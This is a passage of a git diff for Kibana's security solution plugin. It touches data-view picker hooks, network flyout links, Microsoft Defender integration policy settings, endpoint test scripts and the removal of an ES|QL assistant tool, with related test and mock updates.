useIsExperimentalFeatureEnabled } from '../../../common/hooks/use_experimental_features'; +import { useDataView } from '../../../data_view_manager/hooks/use_data_view'; +import { useDataView as useDataViewOld } from '../../../common/containers/source/use_data_view'; import { useKibana } from '../../../common/lib/kibana'; import { sourcererSelectors } from '../../../common/store'; import type { State } from '../../../common/store'; @@ -44,16 +47,21 @@ export type UseFieldBrowserOptions = (props: UseFieldBrowserOptionsProps) => { getFieldTableColumns: GetFieldTableColumns; }; +/** + * This hook is used in the alerts table and explore page tables (StatefulEventsViewer) to manage field browser options. + */ export const useFieldBrowserOptions: UseFieldBrowserOptions = ({ sourcererScope, editorActionsRef, removeColumn, upsertColumn, }) => { + const newDataViewPickerEnabled = useIsExperimentalFeatureEnabled('newDataViewPickerEnabled'); const [dataView, setDataView] = useState(null); + const { dataView: experimentalDataView } = useDataView(sourcererScope); const { startTransaction } = useStartTransaction(); - const { indexFieldsSearch } = useDataView(); + const { indexFieldsSearch } = useDataViewOld(); const { dataViewFieldEditor, data: { dataViews }, @@ -61,12 +69,21 @@ export const useFieldBrowserOptions: UseFieldBrowserOptions = ({ const missingPatterns = useSelector((state: State) => { return sourcererSelectors.sourcererScopeMissingPatterns(state, sourcererScope); }); - const selectedDataViewId = useSelector((state: State) => { + const sourcererDataViewId = useSelector((state: State) => { return sourcererSelectors.sourcererScopeSelectedDataViewId(state, sourcererScope); }); + + const selectedDataViewId = useMemo( + () => (newDataViewPickerEnabled ? experimentalDataView?.id : sourcererDataViewId), + [sourcererDataViewId, experimentalDataView?.id, newDataViewPickerEnabled] + ); useEffect(() => { let ignore = false; const fetchAndSetDataView = async (dataViewId: string) => { + if (newDataViewPickerEnabled) { + if (experimentalDataView) setDataView(experimentalDataView); + return; + } const aDatView = await dataViews.get(dataViewId); if (ignore) return; setDataView(aDatView); @@ -78,7 +95,13 @@ export const useFieldBrowserOptions: UseFieldBrowserOptions = ({ return () => { ignore = true; }; - }, [selectedDataViewId, missingPatterns, dataViews]); + }, [ + selectedDataViewId, + missingPatterns, + dataViews, + newDataViewPickerEnabled, + experimentalDataView, + ]); const openFieldEditor = useCallback( async (fieldName) => { @@ -90,7 +113,12 @@ export const useFieldBrowserOptions: UseFieldBrowserOptions = ({ startTransaction({ name: FIELD_BROWSER_ACTIONS.FIELD_SAVED }); // Fetch the updated list of fields // Using cleanCache since the number of fields might have not changed, but we need to update the state anyway - await indexFieldsSearch({ dataViewId: selectedDataViewId, cleanCache: true }); + if (newDataViewPickerEnabled) { + browserFieldsManager.removeFromCache(sourcererScope); + await dataViews.clearInstanceCache(selectedDataViewId); + } else { + await indexFieldsSearch({ dataViewId: selectedDataViewId, cleanCache: true }); + } for (const savedField of savedFields) { if (fieldName && fieldName !== savedField.name) { @@ -129,10 +157,13 @@ export const useFieldBrowserOptions: UseFieldBrowserOptions = ({ selectedDataViewId, dataViewFieldEditor, editorActionsRef, + startTransaction, + newDataViewPickerEnabled, + sourcererScope, + dataViews, indexFieldsSearch, - removeColumn, upsertColumn, - startTransaction, + removeColumn, ] ); @@ -145,9 +176,12 @@ export const useFieldBrowserOptions: UseFieldBrowserOptions = ({ onDelete: async () => { startTransaction({ name: FIELD_BROWSER_ACTIONS.FIELD_DELETED }); - // Fetch the updated list of fields - await indexFieldsSearch({ dataViewId: selectedDataViewId }); - + if (newDataViewPickerEnabled) { + browserFieldsManager.removeFromCache(sourcererScope); + await dataViews.clearInstanceCache(selectedDataViewId); + } else { + await indexFieldsSearch({ dataViewId: selectedDataViewId, cleanCache: true }); + } removeColumn(fieldName); }, }); @@ -157,9 +191,12 @@ export const useFieldBrowserOptions: UseFieldBrowserOptions = ({ dataView, selectedDataViewId, dataViewFieldEditor, - indexFieldsSearch, - removeColumn, startTransaction, + newDataViewPickerEnabled, + removeColumn, + sourcererScope, + dataViews, + indexFieldsSearch, ] ); diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/formatted_ip/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/formatted_ip/index.tsx index 26143c149e095..55f485bb54551 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/formatted_ip/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/formatted_ip/index.tsx @@ -15,6 +15,7 @@ import { FlowTargetSourceDest } from '../../../../common/search_strategy/securit import { getOrEmptyTagFromValue } from '../../../common/components/empty_value'; import { NetworkDetailsLink } from '../../../common/components/links'; import { NetworkPanelKey } from '../../../flyout/network_details'; +import { FlyoutLink } from '../../../flyout/shared/components/flyout_link'; const tryStringify = (value: string | object | null | undefined): string => { try { @@ -55,8 +56,6 @@ const AddressLinksItemComponent: React.FC = ({ const { openFlyout } = useExpandableFlyoutApi(); const eventContext = useContext(StatefulEventContext); - const isInTimelineContext = - address && eventContext?.enableIpDetailsFlyout && eventContext?.timelineID; const openNetworkDetailsSidePanel = useCallback( (ip: string) => { @@ -64,7 +63,7 @@ const AddressLinksItemComponent: React.FC = ({ onClick(); } - if (eventContext && isInTimelineContext) { + if (eventContext) { openFlyout({ right: { id: NetworkPanelKey, @@ -79,7 +78,7 @@ const AddressLinksItemComponent: React.FC = ({ }); } }, - [onClick, eventContext, isInTimelineContext, fieldName, openFlyout] + [onClick, eventContext, fieldName, openFlyout] ); // The below is explicitly defined this way as the onClick takes precedence when it and the href are both defined @@ -91,19 +90,26 @@ const AddressLinksItemComponent: React.FC = ({ Component={Component} ip={address} isButton={isButton} - onClick={isInTimelineContext ? openNetworkDetailsSidePanel : undefined} + onClick={openNetworkDetailsSidePanel} title={title} /> ) : ( - ), - [Component, address, isButton, isInTimelineContext, openNetworkDetailsSidePanel, title] + [ + Component, + address, + isButton, + openNetworkDetailsSidePanel, + title, + eventContext?.timelineID, + fieldName, + ] ); return content; diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/netflow/__snapshots__/index.test.tsx.snap b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/netflow/__snapshots__/index.test.tsx.snap index fe8c77d6afc5b..8b1fe8d554b4d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/components/netflow/__snapshots__/index.test.tsx.snap +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/components/netflow/__snapshots__/index.test.tsx.snap @@ -505,14 +505,13 @@ exports[`Netflow renders correctly against snapshot 1`] = `
    ( describe('useTimelineDataFilters', () => { describe('on alerts page', () => { - it('uses the same selected patterns throughout the app', () => { - const { result } = renderHook(() => useTimelineDataFilters(false), { wrapper }); - const { result: timelineResult } = renderHook(() => useTimelineDataFilters(true), { - wrapper, - }); - - expect(result.current.selectedPatterns).toEqual(timelineResult.current.selectedPatterns); - }); - it('allows the other parts of the query to remain unique', () => { const { result } = renderHook(() => useTimelineDataFilters(false), { wrapper }); const { result: timelineResult } = renderHook(() => useTimelineDataFilters(true), { diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/containers/use_timeline_data_filters.ts b/x-pack/solutions/security/plugins/security_solution/public/timelines/containers/use_timeline_data_filters.ts index 891f0b16aec53..f962dce984edb 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/containers/use_timeline_data_filters.ts +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/containers/use_timeline_data_filters.ts @@ -12,10 +12,6 @@ import { startSelector, endSelector, } from '../../common/components/super_date_picker/selectors'; -import { SourcererScopeName } from '../../sourcerer/store/model'; -import { useSelectedPatterns } from '../../data_view_manager/hooks/use_selected_patterns'; -import { useSourcererDataView } from '../../sourcerer/containers'; -import { useEnableExperimental } from '../../common/hooks/use_experimental_features'; export function useTimelineDataFilters(isActiveTimelines: boolean) { const getStartSelector = useMemo(() => startSelector(), []); @@ -44,22 +40,11 @@ export function useTimelineDataFilters(isActiveTimelines: boolean) { } }); - const { newDataViewPickerEnabled } = useEnableExperimental(); - const { selectedPatterns: oldAnalyzerPatterns } = useSourcererDataView( - SourcererScopeName.analyzer - ); - const experimentalAnalyzerPatterns = useSelectedPatterns(SourcererScopeName.analyzer); - - const analyzerPatterns = newDataViewPickerEnabled - ? experimentalAnalyzerPatterns - : oldAnalyzerPatterns; - return useMemo(() => { return { - selectedPatterns: analyzerPatterns, from, to, shouldUpdate, }; - }, [from, to, shouldUpdate, analyzerPatterns]); + }, [from, to, shouldUpdate]); } diff --git a/x-pack/solutions/security/plugins/security_solution/public/timelines/hooks/use_create_timeline.tsx b/x-pack/solutions/security/plugins/security_solution/public/timelines/hooks/use_create_timeline.tsx index 653c3943efd85..1a63f893414a5 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/timelines/hooks/use_create_timeline.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/timelines/hooks/use_create_timeline.tsx @@ -21,11 +21,10 @@ import { defaultUdtHeaders } from '../components/timeline/body/column_headers/de import { timelineDefaults } from '../store/defaults'; import { useSelectDataView } from '../../data_view_manager/hooks/use_select_data_view'; import { DataViewManagerScopeName } from '../../data_view_manager/constants'; -import { useDataViewSpec } from '../../data_view_manager/hooks/use_data_view_spec'; -import { useSelectedPatterns } from '../../data_view_manager/hooks/use_selected_patterns'; import { sourcererActions, sourcererSelectors } from '../../sourcerer/store'; import { SourcererScopeName } from '../../sourcerer/store/model'; import { useEnableExperimental } from '../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../data_view_manager/hooks/use_security_default_patterns'; export interface UseCreateTimelineParams { /** @@ -59,18 +58,20 @@ export const useCreateTimeline = ({ ) ?? { id: '', patternList: [] }; const { newDataViewPickerEnabled } = useEnableExperimental(); - const { dataViewSpec: experimentalDataViewSpec } = useDataViewSpec( - DataViewManagerScopeName.default - ); - const experimentalSelectedPatterns = useSelectedPatterns(DataViewManagerScopeName.default); + + const { + id: experimentalSecurityDefaultDataViewId, + indexPatterns: experimentalSecurityDefaultIndexPatterns, + } = useSecurityDefaultPatterns(); const dataViewId = useMemo( - () => (newDataViewPickerEnabled ? experimentalDataViewSpec.id ?? '' : oldDataViewId), - [experimentalDataViewSpec.id, newDataViewPickerEnabled, oldDataViewId] + () => (newDataViewPickerEnabled ? experimentalSecurityDefaultDataViewId ?? '' : oldDataViewId), + [experimentalSecurityDefaultDataViewId, newDataViewPickerEnabled, oldDataViewId] ); const selectedPatterns = useMemo( - () => (newDataViewPickerEnabled ? experimentalSelectedPatterns : oldSelectedPatterns), - [experimentalSelectedPatterns, newDataViewPickerEnabled, oldSelectedPatterns] + () => + newDataViewPickerEnabled ? experimentalSecurityDefaultIndexPatterns : oldSelectedPatterns, + [experimentalSecurityDefaultIndexPatterns, newDataViewPickerEnabled, oldSelectedPatterns] ); const { timelineFullScreen, setTimelineFullScreen } = useTimelineFullScreen(); diff --git a/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/common/fleet_services.ts b/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/common/fleet_services.ts index 25dfafdb20c53..fa5d9884d1294 100644 --- a/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/common/fleet_services.ts +++ b/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/common/fleet_services.ts @@ -1126,6 +1126,7 @@ export const addMicrosoftDefenderForEndpointIntegrationToAgentPolicy = async ({ value: clientId, }, enable_request_tracer: { + value: false, type: 'bool', }, client_secret: { @@ -1136,9 +1137,13 @@ export const addMicrosoftDefenderForEndpointIntegrationToAgentPolicy = async ({ type: 'text', value: tenantId, }, + initial_interval: { + value: '5m', + type: 'text', + }, interval: { + value: '5m', type: 'text', - value: '30s', }, scopes: { value: [], @@ -1209,6 +1214,170 @@ export const addMicrosoftDefenderForEndpointIntegrationToAgentPolicy = async ({ }, ], }, + { + type: 'cel', + policy_template: 'microsoft_defender_endpoint', + enabled: false, + streams: [ + { + enabled: false, + data_stream: { + type: 'logs', + dataset: 'microsoft_defender_endpoint.machine', + }, + vars: { + interval: { + value: '24h', + type: 'text', + }, + batch_size: { + value: 1000, + type: 'text', + }, + http_client_timeout: { + value: '30s', + type: 'text', + }, + enable_request_tracer: { + value: false, + type: 'bool', + }, + tags: { + value: ['forwarded', 'microsoft_defender_endpoint-machine'], + type: 'text', + }, + preserve_original_event: { + value: false, + type: 'bool', + }, + preserve_duplicate_custom_fields: { + type: 'bool', + }, + processors: { + type: 'yaml', + }, + }, + }, + { + enabled: false, + data_stream: { + type: 'logs', + dataset: 'microsoft_defender_endpoint.machine_action', + }, + vars: { + initial_interval: { + value: '24h', + type: 'text', + }, + interval: { + value: '5m', + type: 'text', + }, + batch_size: { + value: 1000, + type: 'text', + }, + http_client_timeout: { + value: '30s', + type: 'text', + }, + enable_request_tracer: { + value: false, + type: 'bool', + }, + tags: { + value: ['forwarded', 'microsoft_defender_endpoint-machine_action'], + type: 'text', + }, + preserve_original_event: { + value: false, + type: 'bool', + }, + preserve_duplicate_custom_fields: { + type: 'bool', + }, + processors: { + type: 'yaml', + }, + }, + }, + { + enabled: false, + data_stream: { + type: 'logs', + dataset: 'microsoft_defender_endpoint.vulnerability', + }, + vars: { + interval: { + value: '4h', + type: 'text', + }, + batch_size: { + value: 8000, + type: 'integer', + }, + affected_machines_only: { + value: true, + type: 'bool', + }, + enable_request_tracer: { + value: false, + type: 'bool', + }, + preserve_original_event: { + value: false, + type: 'bool', + }, + tags: { + value: ['forwarded', 'microsoft_defender_endpoint-vulnerability'], + type: 'text', + }, + http_client_timeout: { + value: '30s', + type: 'text', + }, + preserve_duplicate_custom_fields: { + value: false, + type: 'bool', + }, + processors: { + type: 'yaml', + }, + }, + }, + ], + vars: { + client_id: { + type: 'text', + }, + client_secret: { + type: 'password', + }, + login_url: { + value: 'https://login.microsoftonline.com', + type: 'text', + }, + url: { + value: 'https://api.security.microsoft.com', + type: 'text', + }, + tenant_id: { + type: 'text', + }, + token_scopes: { + value: ['https://securitycenter.onmicrosoft.com/windowsatpservice/.default'], + type: 'text', + }, + proxy_url: { + type: 'text', + }, + ssl: { + value: + '#certificate_authorities:\n# - |\n# -----BEGIN CERTIFICATE-----\n# MIIDCjCCAfKgAwIBAgITJ706Mu2wJlKckpIvkWxEHvEyijANBgkqhkiG9w0BAQsF\n# ADAUMRIwEAYDVQQDDAlsb2NhbGhvc3QwIBcNMTkwNzIyMTkyOTA0WhgPMjExOTA2\n# MjgxOTI5MDRaMBQxEjAQBgNVBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEB\n# BQADggEPADCCAQoCggEBANce58Y/JykI58iyOXpxGfw0/gMvF0hUQAcUrSMxEO6n\n# fZRA49b4OV4SwWmA3395uL2eB2NB8y8qdQ9muXUdPBWE4l9rMZ6gmfu90N5B5uEl\n# 94NcfBfYOKi1fJQ9i7WKhTjlRkMCgBkWPkUokvBZFRt8RtF7zI77BSEorHGQCk9t\n# /D7BS0GJyfVEhftbWcFEAG3VRcoMhF7kUzYwp+qESoriFRYLeDWv68ZOvG7eoWnP\n# PsvZStEVEimjvK5NSESEQa9xWyJOmlOKXhkdymtcUd/nXnx6UTCFgnkgzSdTWV41\n# CI6B6aJ9svCTI2QuoIq2HxX/ix7OvW1huVmcyHVxyUECAwEAAaNTMFEwHQYDVR0O\n# BBYEFPwN1OceFGm9v6ux8G+DZ3TUDYxqMB8GA1UdIwQYMBaAFPwN1OceFGm9v6ux\n# 8G+DZ3TUDYxqMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAG5D\n# 874A4YI7YUwOVsVAdbWtgp1d0zKcPRR+r2OdSbTAV5/gcS3jgBJ3i1BN34JuDVFw\n# 3DeJSYT3nxy2Y56lLnxDeF8CUTUtVQx3CuGkRg1ouGAHpO/6OqOhwLLorEmxi7tA\n# H2O8mtT0poX5AnOAhzVy7QW0D/k4WaoLyckM5hUa6RtvgvLxOwA0U+VGurCDoctu\n# 8F4QOgTAWyh8EZIwaKCliFRSynDpv3JTUwtfZkxo6K6nce1RhCWFAsMvDZL8Dgc0\n# yvgJ38BRsFOtkRuAGSf6ZUwTO8JJRRIFnpUzXflAnGivK9M13D5GEQMmIl6U9Pvk\n# sxSmbIUfc2SGJGCJD4I=\n# -----END CERTIFICATE-----\n', + type: 'yaml', + }, + }, + }, ], package: { name: packageName, diff --git a/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/endpoint_policies/index.ts b/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/endpoint_policies/index.ts index 6e9c6e255662e..529e7d28ad5a2 100644 --- a/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/endpoint_policies/index.ts +++ b/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/endpoint_policies/index.ts @@ -14,18 +14,22 @@ import { BaseDataGenerator } from '../../../common/endpoint/data_generators/base import { getEndpointPackageInfo } from '../../../common/endpoint/utils/package'; class EndpointPolicyGenerator extends BaseDataGenerator { + private counter = 1; + public policyName(preFix: string | number = '') { - return `${preFix}${preFix ? ' ' : ''}${this.randomString(5)} Endpoint Policy`; + return `${preFix}${preFix ? ' ' : ''}${this.randomString(5)}-${this.counter++} Endpoint Policy`; } } const generate = new EndpointPolicyGenerator(); -export const cli = () => { - run( +export const cli = async () => { + await run( async ({ log, flags: { kibana, count } }) => { const kbn = new KbnClient({ log, url: kibana as string }); const max = Number(count); + const maxErrors = 10; // Max errors encountered until the script exits + const errors: string[] = []; let created = 0; log.info(`Creating ${count} endpoint policies...`); @@ -35,16 +39,24 @@ export const cli = () => { const endpointPackage = await getEndpointPackageInfo(kbn); while (created < max) { - created++; await indexFleetEndpointPolicy( kbn, generate.policyName(created), endpointPackage.version ); + created++; } } catch (error) { - log.error(error); - throw createFailError(error.message); + error.push(error.message); + + if (errors.length >= maxErrors) { + log.error( + `${errors.length} errors were encountered: ${JSON.stringify(errors, null, 2)}\n` + ); + throw createFailError( + `Too many errors encountered (${errors.length}. Only ${created} policies were created` + ); + } } log.success(`Done!`); diff --git a/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/sentinelone_host/common.ts b/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/sentinelone_host/common.ts index dcc3b303ce5b2..9b2691f70d1ea 100644 --- a/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/sentinelone_host/common.ts +++ b/x-pack/solutions/security/plugins/security_solution/scripts/endpoint/sentinelone_host/common.ts @@ -211,7 +211,11 @@ export const installSentinelOneAgent = async ({ await hostVm.exec(`sudo ${installPath} management token set ${siteToken}`); await hostVm.exec(`sudo ${installPath} control start`); - const status = (await hostVm.exec(`sudo ${installPath} control status`)).stdout; + const status = ( + await pRetry(async () => { + return hostVm.exec(`sudo ${installPath} control status`); + }) + ).stdout; try { // Generate an alert in SentinelOne diff --git a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/ask_about_esql_tool.ts b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/ask_about_esql_tool.ts index bcedca300c5fd..8055e20f4059a 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/ask_about_esql_tool.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/ask_about_esql_tool.ts @@ -16,7 +16,7 @@ import { getPromptSuffixForOssModel } from './utils/common'; export type ESQLToolParams = Require; -const TOOL_NAME = 'AskAboutEsqlTool'; +const TOOL_NAME = 'AskAboutESQLTool'; const toolDetails = { id: 'ask-about-esql-tool', @@ -40,12 +40,7 @@ export const ASK_ABOUT_ESQL_TOOL: AssistantTool = { sourceRegister: APP_UI_ID, isSupported: (params: AssistantToolParams): params is ESQLToolParams => { const { inference, connectorId, assistantContext } = params; - return ( - inference != null && - connectorId != null && - assistantContext != null && - assistantContext.getRegisteredFeatures('securitySolutionUI').advancedEsqlGeneration - ); + return inference != null && connectorId != null && assistantContext != null; }, async getTool(params: AssistantToolParams) { if (!this.isSupported(params)) return null; diff --git a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/generate_esql_tool.ts b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/generate_esql_tool.ts index 1b417bbb61a52..c4f519996bcba 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/generate_esql_tool.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/generate_esql_tool.ts @@ -22,7 +22,7 @@ export type GenerateEsqlParams = Require< const TOOL_NAME = 'GenerateESQLTool'; const toolDetails = { - id: 'gnerate-esql-tool', + id: 'generate-esql-tool', name: TOOL_NAME, // note: this description is overwritten when `getTool` is called // local definitions exist ../elastic_assistant/server/lib/prompt/tool_prompts.ts @@ -43,7 +43,6 @@ export const GENERATE_ESQL_TOOL: AssistantTool = { inference != null && connectorId != null && assistantContext != null && - assistantContext.getRegisteredFeatures('securitySolutionUI').advancedEsqlGeneration && createLlmInstance != null ); }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/nl_to_esql_tool.ts b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/nl_to_esql_tool.ts deleted file mode 100644 index 0af8c46dbf3ec..0000000000000 --- a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/esql/nl_to_esql_tool.ts +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0; you may not use this file except in compliance with the Elastic License - * 2.0. - */ - -import { tool } from '@langchain/core/tools'; -import type { AssistantTool, AssistantToolParams } from '@kbn/elastic-assistant-plugin/server'; -import { lastValueFrom } from 'rxjs'; -import { naturalLanguageToEsql } from '@kbn/inference-plugin/server'; -import { z } from '@kbn/zod'; -import type { Require } from '@kbn/elastic-assistant-plugin/server/types'; -import { APP_UI_ID } from '../../../../common'; -import { getPromptSuffixForOssModel } from './utils/common'; - -// select only some properties of AssistantToolParams - -export type ESQLToolParams = Require; - -const TOOL_NAME = 'NaturalLanguageESQLTool'; - -const toolDetails = { - id: 'nl-to-esql-tool', - name: TOOL_NAME, - // note: this description is overwritten when `getTool` is called - // local definitions exist ../elastic_assistant/server/lib/prompt/tool_prompts.ts - // local definitions can be overwritten by security-ai-prompt integration definitions - description: `You MUST use the "${TOOL_NAME}" function when the user wants to: - - breakdown or filter ES|QL queries that are displayed on the current page - - convert queries from another language to ES|QL - - asks general questions about ES|QL - - ALWAYS use this tool to generate ES|QL queries or explain anything about the ES|QL query language rather than coming up with your own answer.`, -}; - -export const NL_TO_ESQL_TOOL: AssistantTool = { - ...toolDetails, - sourceRegister: APP_UI_ID, - isSupported: (params: AssistantToolParams): params is ESQLToolParams => { - const { inference, connectorId, assistantContext } = params; - return ( - inference != null && - connectorId != null && - assistantContext != null && - !assistantContext.getRegisteredFeatures('securitySolutionUI').advancedEsqlGeneration - ); - }, - async getTool(params: AssistantToolParams) { - if (!this.isSupported(params)) return null; - - const { connectorId, inference, logger, request, isOssModel } = params as ESQLToolParams; - if (inference == null || connectorId == null) return null; - - const callNaturalLanguageToEsql = async (question: string) => { - return lastValueFrom( - naturalLanguageToEsql({ - client: inference.getClient({ request }), - connectorId, - input: question, - functionCalling: 'auto', - logger, - }) - ); - }; - - return tool( - async (input) => { - const generateEvent = await callNaturalLanguageToEsql(input.question); - const answer = generateEvent.content ?? 'An error occurred in the tool'; - - logger.debug(`Received response from NL to ESQL tool: ${answer}`); - return answer; - }, - { - name: toolDetails.name, - description: - (params.description || toolDetails.description) + - (isOssModel ? getPromptSuffixForOssModel(TOOL_NAME) : ''), - schema: z.object({ - question: z.string().describe(`The user's exact question about ESQL`), - }), - tags: ['esql', 'query-generation', 'knowledge-base'], - } - ); - }, -}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/index.ts b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/index.ts index ac4c1b08c19ac..16910e6b011db 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/index.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/index.ts @@ -8,7 +8,6 @@ import { PRODUCT_DOCUMENTATION_TOOL } from './product_docs/product_documentation_tool'; import { GENERATE_ESQL_TOOL } from './esql/generate_esql_tool'; import { ASK_ABOUT_ESQL_TOOL } from './esql/ask_about_esql_tool'; -import { NL_TO_ESQL_TOOL } from './esql/nl_to_esql_tool'; import { ALERT_COUNTS_TOOL } from './alert_counts/alert_counts_tool'; import { OPEN_AND_ACKNOWLEDGED_ALERTS_TOOL } from './open_and_acknowledged_alerts/open_and_acknowledged_alerts_tool'; import { KNOWLEDGE_BASE_RETRIEVAL_TOOL } from './knowledge_base/knowledge_base_retrieval_tool'; @@ -23,7 +22,6 @@ export const assistantTools = [ KNOWLEDGE_BASE_WRITE_TOOL, GENERATE_ESQL_TOOL, ASK_ABOUT_ESQL_TOOL, - NL_TO_ESQL_TOOL, OPEN_AND_ACKNOWLEDGED_ALERTS_TOOL, PRODUCT_DOCUMENTATION_TOOL, SECURITY_LABS_KNOWLEDGE_BASE_TOOL, diff --git a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.test.ts b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.test.ts index 4f408075260eb..cad4c12b45bf7 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.test.ts @@ -22,6 +22,8 @@ import type { } from '@kbn/elastic-assistant-common'; import { newContentReferencesStoreMock } from '@kbn/elastic-assistant-common/impl/content_references/content_references_store/__mocks__/content_references_store.mock'; +const DEFAULT_INFERENCE_ID = '.elser-2-elasticsearch'; + describe('ProductDocumentationTool', () => { const chain = {} as RetrievalQAChain; const esClient = { @@ -97,6 +99,7 @@ describe('ProductDocumentationTool', () => { connectorId: 'fake-connector', request, functionCalling: 'auto', + inferenceId: DEFAULT_INFERENCE_ID, }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.ts b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.ts index 5192508603993..7ea44ff96dd4e 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/assistant/tools/product_docs/product_documentation_tool.ts @@ -16,6 +16,7 @@ import { import type { ContentReferencesStore } from '@kbn/elastic-assistant-common'; import type { RetrieveDocumentationResultDoc } from '@kbn/llm-tasks-plugin/server'; import type { Require } from '@kbn/elastic-assistant-plugin/server/types'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { APP_UI_ID } from '../../../../common'; export type ProductDocumentationToolParams = Require< @@ -53,6 +54,7 @@ export const PRODUCT_DOCUMENTATION_TOOL: AssistantTool = { connectorId, request, functionCalling: 'auto', + inferenceId: defaultInferenceEndpoints.ELSER, }); const enrichedDocuments = response.documents.map(enrichDocument(contentReferencesStore)); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/policy/telemetry_watch.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/policy/telemetry_watch.test.ts index 647be4f177af1..aa90bbb0e89e0 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/policy/telemetry_watch.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/policy/telemetry_watch.test.ts @@ -155,7 +155,7 @@ describe('Telemetry config watcher', () => { page: 1, perPage: 100, kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name: endpoint`, - spaceId: undefined, + spaceId: '*', }; expect(packagePolicyServiceMock.list.mock.calls[0][1]).toStrictEqual(expectedParams); expect(packagePolicyServiceMock.list.mock.calls[1][1]).toStrictEqual(expectedParams); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/response_actions/complete_external_actions_task_runner.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/response_actions/complete_external_actions_task_runner.test.ts index 63217e0c89164..eec530a2b3905 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/response_actions/complete_external_actions_task_runner.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/lib/response_actions/complete_external_actions_task_runner.test.ts @@ -40,6 +40,8 @@ describe('CompleteExternalTaskRunner class', () => { '60s', `${COMPLETE_EXTERNAL_RESPONSE_ACTIONS_TASK_TYPE}-${COMPLETE_EXTERNAL_RESPONSE_ACTIONS_TASK_VERSION}` ); + fetchSpaceIdsWithMaybePendingActionsMock.mockResolvedValue(['default']); + const actionGenerator = new EndpointActionGenerator('seed'); (endpointContextServicesMock.getInternalResponseActionsClient as jest.Mock).mockImplementation( diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/mocks/mocks.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/mocks/mocks.ts index 746b3ce19c46e..2a1168a8162e0 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/mocks/mocks.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/mocks/mocks.ts @@ -122,6 +122,7 @@ export const createMockEndpointAppContextService = ( const featureUsageMock = createFeatureUsageServiceMock(); const messageSigningService = createMessageSigningServiceMock(); const licenseServiceMock = createLicenseServiceMock(); + const telemetryServiceMock = analyticsServiceMock.createAnalyticsServiceSetup(); return { start: jest.fn(), @@ -144,7 +145,7 @@ export const createMockEndpointAppContextService = ( getExceptionListsClient: jest.fn().mockReturnValue(exceptionListsClient!), getMessageSigningService: jest.fn().mockReturnValue(messageSigningService), getFleetActionsClient: jest.fn(async (_) => fleetActionsClientMock), - getTelemetryService: jest.fn(), + getTelemetryService: 